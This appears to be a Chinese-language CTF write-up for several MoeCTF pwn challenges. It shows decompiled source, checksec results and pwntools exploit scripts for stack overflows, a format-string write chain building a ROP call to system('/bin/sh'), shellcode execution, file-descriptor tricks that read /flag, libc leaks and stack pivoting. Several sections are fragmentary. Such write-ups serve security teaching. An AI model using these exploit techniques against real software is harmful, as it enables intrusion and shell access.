init(argc, argv, envp); puts("Stack overflow is a powerful art!"); puts("In this MoeCTF,I will show you the charm of PWN!"); puts("You need to know the struct of stack first."); puts("Then how many bytes do you need to overflow the stack?"); __isoc99_scanf("%d", &v4); overflow(v4); return0; }
if ( n7 <= 7 ) returnputs("Come on, you can't even fill this array!"); read(0, buf, n7); returnputs("OK,I recvieve your byte.and then?"); }
inttreasure() { puts("Congratulations! You got the secret!"); return system("/bin/sh"); }
checksec检查:
1 2 3
$ checksec --file=./pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 44 Symbols No 0 1 ./pwn
# Set up context context.binary = './pwn' context.arch = 'amd64' context.log_level = 'debug'# For detailed debugging
defexploit(): if args.REMOTE: host = '127.0.0.1'# Replace with actual host port = 41853# Replace with actual port p = remote(host, port) else: p = process()
# Get the address of the treasure function elf = context.binary treasure_addr = elf.sym.treasure #获取treasure()地址
# Find a 'ret' gadget for stack alignment rop = ROP(elf) ret_gadget = rop.find_gadget(['ret'])[0] #使用ROP功能查询gadget
v2 = __readfsqword(0x28u); puts("Ya hello! Let's play a game."); printf("Guess which number I'm thinking of."); printf("Here is the hint."); write(1, &num, 8uLL); printf("\n>"); __isoc99_scanf("%zu", &num); if ( num != num ) { puts("Wrong answer!"); puts("Try pwntools u64?"); exit(1); } puts("Win!"); system("/bin/sh"); return v2 - __readfsqword(0x28u); }
checksec分析:
1 2 3
$ checksec --file=./u64 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 52 Symbols No 0 2 ./u64
题目很简单,只是帮助我们认识一下u64的用法。
脚本解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from pwn import * context(arch='amd64', os='linux', log_level='debug')
$ checksec --file=./fmt RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 53 Symbols No 0 2 ./fmt
$ checksec --file=./random RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 57 Symbols No 0 3 ./random
ex = libc_base + 0x74cc7 print(hex(i_addr)) print(hex(stack1)) #20 47
p.sendlineafter('You start talking to him...','%'+str(i_addr&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str(0x80)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
print("og >>>",hex(og)) p.sendlineafter('You start talking to him...','%'+str(stack1&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str(og&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((stack1+2)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str((og>>16)&0xff)+'c%47$hhn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
""" 0x000000000002a3e5 : pop rdi ; ret 0x0000000000029139 : ret """ system_addr = libc_base + 0x50d70 binsh = libc_base + 0x1d8678 pop_rdi = libc_base + 0x000000000002a3e5 ret = libc_base + 0x0000000000029139 fmt = 0x4040C0
p.sendlineafter('You start talking to him...','%'+str(stack1&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str(ret&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((stack1+2)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str((ret>>16)&0xff)+'c%47$hhn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
#---0
p.sendlineafter('You start talking to him...','%'+str((stack1+8)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str(pop_rdi&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((stack1+10)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str((pop_rdi>>16)&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((stack1+12)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str(((pop_rdi>>16)>>16)&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
#----1
p.sendlineafter('You start talking to him...','%'+str((stack1+16)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str(binsh&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((stack1+18)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str((binsh>>16)&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((stack1+20)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str(((binsh>>16)>>16)&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
#-----2
p.sendlineafter('You start talking to him...','%'+str((stack1+24)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str(system_addr&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((stack1+26)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str((system_addr>>16)&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...','%'+str((stack1+28)&0xffff)+'c%20$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8) p.sendlineafter('You start talking to him...','%'+str(((system_addr>>16)>>16)&0xffff)+'c%47$hn') p.sendafter("You enraged the monster-prepare for battle!",b"a"*8)
p.sendlineafter('You start talking to him...',p64(pop_rdi) + p64(binsh) + p64(system_addr)) p.sendafter("You enraged the monster-prepare for battle!",b"\x00\x00\x00\x00\x00\x00\x00")
int __fastcall main(int argc, constchar **argv, constchar **envp) { int n4; // [rsp+0h] [rbp-20h] BYREF int prot; // [rsp+4h] [rbp-1Ch] int v6; // [rsp+8h] [rbp-18h] int n10; // [rsp+Ch] [rbp-14h] void *s; // [rsp+10h] [rbp-10h] unsigned __int64 v9; // [rsp+18h] [rbp-8h]
v9 = __readfsqword(0x28u); init(argc, argv, envp); s = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL); if ( s == (void *)-1LL ) { perror("mmap"); return1; } memset(s, 0, 0x1000uLL); v6 = 0; prot = 0; puts("In a ret2text exploit, we can use code in the .text segment."); puts("But now, there is no 'system' function available there."); puts("How can you get the flag now? Perhaps you should use shellcode."); puts("But what is shellcode? What can you do with it? And how can you use it?"); puts("I will give you some choices. Choose wisely!"); __isoc99_scanf("%d", &n4); do n10 = getchar(); while ( n10 != 10 && n10 != -1 ); if ( n4 == 4 ) { if ( v6 == 1 ) puts("You can only make one change!"); prot = 7; v6 = 1; } else { if ( n4 > 4 ) goto LABEL_24; switch ( n4 ) { case3: if ( v6 == 1 ) puts("You can only make one change!"); prot = 4; v6 = 1; break; case1: if ( v6 == 1 ) puts("You can only make one change!"); prot = 1; v6 = 1; break; case2: if ( v6 == 1 ) puts("You can only make one change!"); prot = 3; v6 = 1; break; default: LABEL_24: puts("Invalid choice. The space remains in its chaotic state."); exit(1); } } if ( mprotect(s, 0x1000uLL, prot) == -1 ) { perror("mprotect"); exit(1); } puts("\nYou have now changed the permissions of the shellcode area."); puts("If you can't input your shellcode, think about the permissions you just set."); read(0, s, 0x1000uLL); ((void (*)(void))s)(); return0; }
checksec检查:
1 2 3 4
$ checksec --file=./ezshellcode RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 50 Symbols No 0 2 ./ezshellcode
v6 = __readfsqword(0x28u); init(argc, argv, envp); fd = dup(1); write(fd, "I've hidden the fd of stdout. Can you find it?\n", 0x2FuLL); close(1); __isoc99_scanf("%d", &fd1); write(fd1, "You are right.What would you like to see?\n", 0x2AuLL); __isoc99_scanf("%s%*c", file); open(file, 0); write(fd1, "What is its fd?\n", 0x10uLL); __isoc99_scanf("%d", &fd2); read(fd2, &buf, 0x50uLL); write(fd1, &buf, 0x50uLL); return0; }
checksec分析:
1 2 3
$ checksec --file=./findit RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 50 Symbols No 0 1 ./findit
defexploit(): # 启动程序 #p = process('./findit') p = remote('127.0.0.1',39713) # 第一部分:找到备份的stdout p.recvuntil(b"Can you find it?\n") p.sendline(b'3') # 备份的fd通常是3 # 第二部分:请求查看flag文件 p.recvuntil(b"What would you like to see?\n") p.sendline(b"/flag") # 或者使用 "flag" 如果文件在当前目录 # 第三部分:提供打开文件的fd p.recvuntil(b"What is its fd?\n") p.sendline(b'1') # 新打开的文件会使用fd=1 # 接收flag - 尝试不同的接收方法 try: # 尝试接收特定数量的数据 flag = p.recv(0x50) print(f"Flag content: {flag.decode()}") except: # 如果解码失败,尝试接收所有输出 output = p.recvall() print(f"All output: {output}") p.close()
if __name__ == "__main__": exploit()
认识libc
IDA分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
int __fastcall main(int argc, constchar **argv, constchar **envp) { setup(argc, argv, envp); puts("The Oracle speaks..."); puts("There is no system function in the .text segment."); printf("A gift of forbidden knowledge, the location of 'printf': %p\n", &printf); vuln(); return0; } ssize_tvuln() { _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("\nNow, show me what you can do with this knowledge:"); printf("> "); return read(0, buf, 0x100uLL); }
checksec分析:
1 2 3 4
$ checksec --file=./pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 42 Symbols No 0 2 ./pwn
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); puts("Welcome to join this pwn party!"); puts("Please say something to introduce yourself:"); puts("Before that,you need to tell us the length of your introduction."); __isoc99_scanf("%d", &n32); if ( n32 > 32 ) { puts("Your introduction is too long, please try again."); exit(1); } introduce((unsignedint)n32); puts("Now, please tell us your phone number:"); read(0, buf, len_of_phonenum); return0; } intbackdoor() { return system("echo moectf{WowYouGetTheFlag}"); } voidmagic() { ; } int __fastcall introduce(unsignedint nbytes) { read(0, &desc, nbytes); returnputs("Ok,we got your introduction!"); }
checksec分析:
1 2 3
$ checksec --file=./ezpivot RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 47 Symbols No 0 1 ./ezpivot
int __fastcall __noreturn main(int argc, constchar **argv, constchar **envp) { init(argc, argv, envp); menu(); while ( 1 ) { while ( 1 ) { putchar(62); __isoc99_scanf("%d", &opt); if ( opt != 1 ) break; pull(); } if ( opt == 2 ) { photo(); } else { if ( opt != 3 ) exit(0); laker(); } } } intmenu() { puts("A freshman has walked into the lake."); puts("1.Pull him out"); puts("2.Take a photo of him"); puts("3.Walk into the lake."); returnputs("Your choice"); } intpull() { returnprintf("Thanks,I'll give you a gift:%p\n", &opt); } intphoto() { _BYTE buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts("Hey,what's your name?!"); read(0, buf, 0x40uLL); returnputs("I will teach you a lesson."); } ssize_tlaker() { _BYTE s1[48]; // [rsp+0h] [rbp-30h] BYREF
if ( memcmp(s1, "xdulaker", 8uLL) ) { puts("You are not him."); exit(0); } puts("welcome,xdulaker"); return read(0, s1, 0x100uLL); } intbackdoor() { return system("/bin/sh"); }
checksec分析:
1 2 3
$ checksec --file=./xdulaker RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 54 Symbols No 0 2 ./xdulaker
v2 = __readfsqword(0x28u); puts(aThisTimeIWon); puts("Here is a beautiful canary, and it will be watching over you."); read(0, buf, 0x2AuLL); puts("Go ahead and overflow, anyway I have a canary."); puts(buf); puts("I will give you a second chance, since you can not do anything anyway."); puts(aEvenIfYouKillT); read(0, buf, 0x2AuLL); return v2 - __readfsqword(0x28u); } void __noreturn backdoor() { _QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[1] = __readfsqword(0x28u); puts("Give me the password!"); read(0, buf, 8uLL); if ( buf[0] == password ) { puts("You find the secret:"); fd = open("/flag", 0); if ( fd == -1 ) { puts("Failed to open flag file."); exit(1); } read(fd, &flag, 0x64uLL); write(1, &flag, 0x64uLL); close(fd); } exit(0); }
checksec分析:
1 2 3 4
$ checksec --file=./ezprotection RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 52 Symbols No 0 1 ./ezprotection
v5 = __readfsqword(0x28u); init(argc, argv, envp); fgets(s, 6, stdin); printf(s); puts("Anyone who uses format strings should be punished!\nGo to hell!"); hell(5LL); return0; } unsigned __int64 __fastcall hell(int n) { char s[88]; // [rsp+10h] [rbp-60h] BYREF unsigned __int64 v3; // [rsp+68h] [rbp-8h]
v3 = __readfsqword(0x28u); printf("You've reached the level %d of hell.\n", n); if ( n <= 30 ) { fgets(s, n, stdin); hell((unsignedint)(n + 11)); if ( (unsignedint)pd(s, n) ) printf(s); } else { puts("You've been swallowed by hell."); } return v3 - __readfsqword(0x28u); } __int64 __fastcall pd(__int64 a1, unsigned __int64 i_1) { unsigned __int64 i; // [rsp+18h] [rbp-8h]
for ( i = 0LL; i < i_1; ++i ) { if ( *(_BYTE *)(a1 + i) == 37 ) return1LL; } return0LL; }
checksec分析:
1 2 3
$ checksec --file=./pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 44 Symbols No 0 2 ./pwn